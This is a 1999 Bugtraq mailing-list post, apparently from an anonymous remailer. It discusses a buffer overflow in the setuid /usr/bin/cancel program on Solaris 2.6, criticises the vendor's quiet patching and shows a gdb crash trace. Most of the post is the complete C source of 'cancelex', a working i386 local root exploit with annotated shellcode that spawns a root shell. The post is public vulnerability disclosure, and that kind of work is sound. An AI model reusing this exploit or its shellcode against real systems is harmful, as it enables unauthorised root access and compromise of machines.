Bugtraq mailing list archives

Re: buffer overflow in /usr/bin/cancel


From: nobody () REPLAY COM (Anonymous)
Date: Tue, 9 Mar 1999 21:50:21 +0100


On Fri, 5 Mar 1999, Josh A. Strickland wrote:

This buffer overflow was fixed in Solaris 7 before it was released.
[let's hear it for proactive code auditing!]

Is it really proactive though?  Proactive would mean fixing the hole in
current versions of the software and immediately releasing patches for
older versions, not just fixing holes in a hush-hush manner under the
table and hoping that nobody notices that the hole ever existed.

[ It seems that this is not an exploitable condition (2.6, remember, is
the only version that is suid, so this is what I'm speaking of), as only
i and o registers are mangled, and not pc.

Hmm, perhaps the SPARC version is not exploitable, but the i386 version
certainly is.  Read on.

However, it is disconcerting that overflow problems with lpr were fixed
long ago, but similar problems with other _similar_ programs like lpstat
and cancel were not audited at the same time.  This kind of makes me
wonder what other lp related suid progs may have buffer overflows in
them?

I'll wager that each and every one of the SUID root programs in Solaris
2.6 related to the printing system has at least one root exploitable hole.
Some of these holes from Solaris 2.6 are indeed fixed in Solaris 7, but I
expect to still find at least some that have not been fixed.

I had not planned on releasing this, but here is an i386 exploit for
/usr/bin/cancel in Solaris 2.6 since the news is out now that a hole
exists.  From Josh's description of crashes with overly long usernames, it
sounds like he has picked up on a different hole, probably related to a
wild strcat() call in vappend_string().  The hole this exploit hits is in
the net_printf() function (from /usr/lib/libprint.so.2) called by
vcancel_remote(), using a format argument of "%c%s %s%s\n" where the first
string argument is a printer name (derived from command line input).

In net_printf() in Solaris 2.6, there is what appears to be a vsprintf()
call into a stack buffer 1024 bytes in size.  You can see this in action
with gdb:

# cd /var/spool/print
# /usr/bin/cancel localhost:`perl -e 'print "A"x2000'`
Segmentation fault (core dumped)
# gdb /usr/bin/cancel core
GNU gdb 4.17

[...]

(gdb) where
#0  0xdff6a7f9 in strlen ()
#1  0xdff987c6 in _doprnt ()
#2  0xdff9fee2 in vsprintf ()
#3  0xdffd863e in net_printf ()
#4  0x41414141 in ?? ()
Cannot access memory at address 0x41414141.
(gdb)

Experimentation with Solaris 7 seems to indicate that this vsprintf() call
in libprint was replaced with a vsnprintf() call, which solves the buffer
overflow, making Solaris 7 immune to this particular exploit.

Here's to a quick patch from Sun!  Tell 'em four weeks is too long!  ;-)

                                Yours truly,

                                Cheez Whiz
                                cheezbeast () hotmail com

cancelex.c

----- cut here ----- cut here ----- cut here ----- cut here -----

/**
***  cancelex - i386 Solaris root exploit for /usr/bin/cancel
***
***  Tested and confirmed under Solaris 2.6 (i386)
***
***  Usage:  % cancelex hostname [offset]
***
***  where hostname is the name of a host running the printer service on
***  TCP port 515 (such as "localhost" perhaps) and offset (if present)
***  is the number of bytes to add to the stack pointer to calculate your
***  target return address; try -1000 to 1000 in increments of 100 for
***  starters.
***
***  Cheez Whiz
***  cheezbeast () hotmail com
***
***  February 25, 1999
**/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFLEN 1031
#define NOP 0x90

char shell[] =
/*  0 */ "\xeb\x3b"                         /* jmp springboard       */
/* syscall:                                                          */
/*  2 */ "\x9a\xff\xff\xff\xff\x07\xff"     /* lcall 0x7,0x0         */
/*  9 */ "\xc3"                             /* ret                   */
/* start:                                                            */
/* 10 */ "\x5e"                             /* popl %esi             */
/* 11 */ "\x31\xc0"                         /* xor %eax,%eax         */
/* 13 */ "\x89\x46\xc1"                     /* movl %eax,-0x3f(%esi) */
/* 16 */ "\x88\x46\xc6"                     /* movb %al,-0x3a(%esi)  */
/* 19 */ "\x88\x46\x07"                     /* movb %al,0x7(%esi)    */
/* 22 */ "\x89\x46\x0c"                     /* movl %eax,0xc(%esi)   */
/* setuid:                                                           */
/* 25 */ "\x31\xc0"                         /* xor %eax,%eax         */
/* 27 */ "\x50"                             /* pushl %eax            */
/* 28 */ "\xb0\x17"                         /* movb $0x17,%al        */
/* 30 */ "\xe8\xdf\xff\xff\xff"             /* call syscall          */
/* 35 */ "\x83\xc4\x04"                     /* addl $0x4,%esp        */
/* execve:                                                           */
/* 38 */ "\x31\xc0"                         /* xor %eax,%eax         */
/* 40 */ "\x50"                             /* pushl %eax            */
/* 41 */ "\x8d\x5e\x08"                     /* leal 0x8(%esi),%ebx   */
/* 44 */ "\x53"                             /* pushl %ebx            */
/* 45 */ "\x8d\x1e"                         /* leal (%esi),%ebx      */
/* 47 */ "\x89\x5e\x08"                     /* movl %ebx,0x8(%esi)   */
/* 50 */ "\x53"                             /* pushl %ebx            */
/* 51 */ "\xb0\x3b"                         /* movb $0x3b,%al        */
/* 53 */ "\xe8\xc8\xff\xff\xff"             /* call syscall          */
/* 58 */ "\x83\xc4\x0c"                     /* addl $0xc,%esp        */
/* springboard:                                                      */
/* 61 */ "\xe8\xc8\xff\xff\xff"             /* call start            */
/* data:                                                             */
/* 66 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA                  */
/* 74 */ "\xff\xff\xff\xff"                 /* DATA                  */
/* 78 */ "\xff\xff\xff\xff";                /* DATA                  */

char buf[BUFLEN+1];
char *egg;
unsigned long int esp, nop;
long int offset = 0;

unsigned long int
get_esp()
{
    __asm__("movl %esp,%eax");
}

void
main(int argc, char *argv[])
{
    int i;

    if (argc < 2) {
        printf("usage: %s hostname [offset]\n", argv[0]);
        return;
    }

    esp = get_esp();

    if (argc > 2)
        offset = strtol(argv[2], NULL, 0);

    if (argc > 3)
        nop = strtoul(argv[3], NULL, 0);
    else
        nop = 933;

    memset(buf, NOP, BUFLEN);
    memcpy(buf+nop, shell, strlen(shell));
    for (i = nop+strlen(shell); i <= BUFLEN-4; i += 4)
        *((int *) &buf[i]) = esp+offset;

    if ((egg = (char *) malloc(strlen(argv[1])+1+BUFLEN+1)) == NULL) {
        printf("malloc failed!\n");
        return;
    }
    snprintf(egg, strlen(argv[1])+1+BUFLEN+1, "%s:%s", argv[1], buf);

    printf("jumping to 0x%08x (0x%08x offset %d) [nop %d]\n",
           esp+offset, esp, offset, nop);
    execl("/usr/bin/cancel", "cancel", egg, NULL);
    /* execl("/usr/ucb/lprm", "lprm", "-P", egg, NULL); */

    printf("exec failed!\n");
    return;
}



Current thread: